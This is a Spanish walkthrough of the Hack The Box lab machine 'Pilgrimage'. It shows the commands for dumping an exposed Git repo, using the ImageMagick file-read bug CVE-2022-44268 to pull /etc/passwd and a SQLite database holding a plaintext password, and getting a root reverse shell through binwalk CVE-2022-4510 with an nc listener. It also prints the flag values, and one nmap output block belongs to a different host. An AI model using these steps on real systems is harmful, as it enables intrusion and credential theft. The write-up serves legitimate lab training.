Descripción
Pilgrimage es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Enumeración de los archivos del servidor web
- Descubrimiento de repositorio Git
- Vulnerabilidad de ImageMagick de lectura arbitraria de archivos
- Exposición de datos sensibles
- Escalada de privilegios a través de una ejecución remota de comandos con Binwalk
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.219.
$ ping -c 3 10.10.11.219
PING 10.10.11.219 (10.10.11.219) 56(84) bytes of data.
64 bytes from 10.10.11.219: icmp_seq=1 ttl=63 time=49.7 ms
64 bytes from 10.10.11.219: icmp_seq=2 ttl=63 time=50.4 ms
64 bytes from 10.10.11.219: icmp_seq=3 ttl=63 time=50.4 ms
--- 10.10.11.219 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 49.718/50.178/50.410/0.325 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.10.11.219 -sS -p- -oN nmap_scan
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.219
Host is up (0.050s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 33.84 seconds
Obtenemos dos puertos abiertos, 22 y 80.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.10.11.214 -sV -sC -p22,50051 -oN nmap_scan_ports -Pn
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.214
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91bf44edea1e3224301f532cea71e5ef (RSA)
| 256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_ 256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
50051/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.34 seconds
Obtenemos dos servicios: un Secure Shell (SSH) y un HyperText Transfer Protocol (HTTP) funcionando en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Observamos que el servicio alberga un sitio web http://pilgrimage.htb, por lo que lo añadimos a nuestro archivo local /etc/hosts.
$ echo "10.10.11.219 pilgrimage.htb" | sudo tee -a /etc/hosts
Con la herramienta WhatWeb podemos enumerar las tecnologías del sitio web.
$ whatweb --log-brief web_techs http://pilgrimage.htb/
http://pilgrimage.htb/ [200 OK] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0], IP[10.10.11.219], JQuery, Script, Title[Pilgrimage - Shrink Your Images], nginx[1.18.0]
Vemos un sitio web hospedado en un servidor nginx 1.18.0. Si nos movemos al navegador vemos un sitio web que funciona como un servicio de encogimiento de imágenes. También tenemos la capacidad de iniciar sesión y registrarse.
Después de subir una imagen recibimos un enlace con la imagen resultante, en el directorio shrunk, con un nombre de caracteres hexadecimal.
Si nos registramos en el sitio web, podemos ver un panel con todas nuestras imágenes subidas.
Si repetimos Nmap con el script http-enum habilitado podemos encontrar la carpeta oculta .git.
$ nmap 10.10.11.219 -sV -sC -p22,80 --script http-enum
Starting Nmap 7.93 ( https://nmap.org )
Stats: 0:01:18 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.86% done; ETC: 04:15 (0:00:01 remaining)
Nmap scan report for pilgrimage.htb (10.10.11.219)
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
| http-enum:
| /login.php: Possible admin folder
|_ /.git/HEAD: Git folder
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.39 seconds
Así que clonamos el repositorio Git. Como el acceso a la carpeta .git está prohibido (pero no el acceso al contenido) necesitamos usar la herramienta git-dumper.
$ git-dumper http://pilgrimage.htb/.git/ repository
$ cd repository
Al enumerar los archivos, podemos encontrar que el repositorio contiene el código fuente del sitio web. Está usando la herramienta magick para reducir las imágenes.
$ ls
assets dashboard.php index.php login.php logout.php magick register.php vendor
Si miramos la versión del binario, es 7.1.0-49.
$ ./magick --version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)
Explotación
ImageMagick 7.1.0-49 es vulnerable a la vulnerabilidad de lectura arbitraria de archivos, CVE-2022-44268. Tenemos una prueba de concepto en el repositorio de voidz0r, así que descargamos el proyecto y ejecutamos la aplicación para obtener el contenido del archivo /etc/passwd.
$ git clone https://github.com/voidz0r/CVE-2022-44268
$ cd CVE-2022-44268
$ cargo run "/etc/passwd"
Este programa generará una archivo image.png que subiremos al sitio web y luego descargaremos la imagen encogida para analizarla con Exiftool.
$ exiftool 6498fc2931d53.png
ExifTool Version Number : 12.57
File Name : 6498fc2931d53.png
Directory : .
...
Raw Profile Type : 1437.726f ... 650a.
Warning : [minor] Text/EXIF chunk(s) found after PNG IDAT (may be ignored by some readers)
...
Image Size : 100x100
Megapixels : 0.010
Observamos que tenemos un Raw Profile Type con algunos datos hexadecimales y algunos puntos. Tenemos que eliminar los puntos. Después de decodificar los datos, encontramos dos usuarios de consola, root y emily.
$ cat passwd | grep bash
7root:x:0:0:root:/root:/bin/bash
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
Mirando el código fuente de la aplicación encontramos que está utilizando una base de datos SQLite ubicada en /var/db/pilgrimage para guardar los datos, por lo que vamos a extraer el archivo de la base de datos.
$ cat register.php | grep sqlite
$db = new PDO('sqlite:/var/db/pilgrimage');
Después de descargarlo y navegar a través de ella con la herramienta sqlite3 encontramos algunas credenciales para el usuario emily, abigchonkyboi123.
$ sqlite3 pilgrimage.sqlite
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
images users
sqlite> select * from users;
emily|abigchonkyboi123
Intentamos entrar a través de SSH.
$ ssh emily@pilgrimage.htb
The authenticity of host 'pilgrimage.htb (10.10.11.219)' can't be established.
ED25519 key fingerprint is SHA256:uaiHXGDnyKgs1xFxqBduddalajktO+mnpNkqx/HjsBw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'pilgrimage.htb' (ED25519) to the list of known hosts.
emily@pilgrimage.htb's password:
Linux pilgrimage 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Estamos conectados.
Post-Explotación
Como ya tenemos los usuarios de la consola, necesitamos elevar nuestros privilegios. Vamos a enumerar los procesos de ejecución como root.
emily@pilgrimage:~$ ps -ef | grep root
...
root 669 653 0 07:12 ? 00:00:00 /bin/bash /usr/sbin/malwarescan.sh
...
Encontramos un script Bash ejecutándose como root, malwarescan.sh.
emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh
#!/bin/bash
blacklist=("Executable script" "Microsoft executable")
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
binout="$(/usr/local/bin/binwalk -e "$filename")"
for banned in "${blacklist[@]}"; do
if [[ "$binout" == *"$banned"* ]]; then
/usr/bin/rm "$filename"
break
fi
done
done
Este script está revisando todos los archivos creados nuevos en /var/www/pilgrimage.htb/shrunk, identificando su tipo con la herramienta binwalk. Si detecta un “Executable script” o un “Microsoft executable” lo elimina.
emily@pilgrimage:~$ binwalk
Binwalk v2.3.2
Craig Heffner, ReFirmLabs
https://github.com/ReFirmLabs/binwalk
Binwalk v2.3.2 es vulnerable a la vulnerabilidad de ejecución remota de comandos CVE-2022-4510, y tenemos una prueba de concepto en Exploit-DB. Podemos crear un archivo PNG especial que creará una consola inversa para usar. Como el script Bash se ejecuta continuamente, comprobará nuestro archivo PNG y la carga útil se ejecutará cuando Binwalk se ejecute. Ejecutamos el generador de la carga útil y abrimos un puerto de escucha.
$ python binwalk_exploit.py capture.png 10.10.14.6 1234
################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################
You can now rename and share binwalk_exploit and start your local netcat listener.
$ nc -nvlp 1234
En la sesión anterior SSH descargamos la imagen y la movemos a la carpeta.
emily@pilgrimage:~$ mktemp -d
/tmp/tmp.Ckn2lWuNOV
emily@pilgrimage:~$ cd /tmp/tmp.Ckn2lWuNOV/
emily@pilgrimage:/tmp/tmp.Ckn2lWuNOV$ wget http://10.10.14.6:8000/binwalk_exploit.png
-- http://10.10.14.6:8000/binwalk_exploit.png
Connecting to 10.10.14.6:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3696 (3.6K) [image/png]
Saving to: ‘binwalk_exploit.png’
‘binwalk_exploit.png’ saved [3696/3696]
emily@pilgrimage:/tmp/tmp.Ckn2lWuNOV$ cp binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/
Después de unos segundos obtenemos una consola inversa como superadministrador.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.219] 57844
id
uid=0(root) gid=0(root) groups=0(root)
Flags
Finalmente podemos obtener la flag del usuario y la flag del sistema.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.219] 57844
id
uid=0(root) gid=0(root) groups=0(root)
cat /home/emily/user.txt
fd70903c947a71b0d811b2a56c71ddbe
cat /root/root.txt
d529fde6410353b787998d3939cba9d0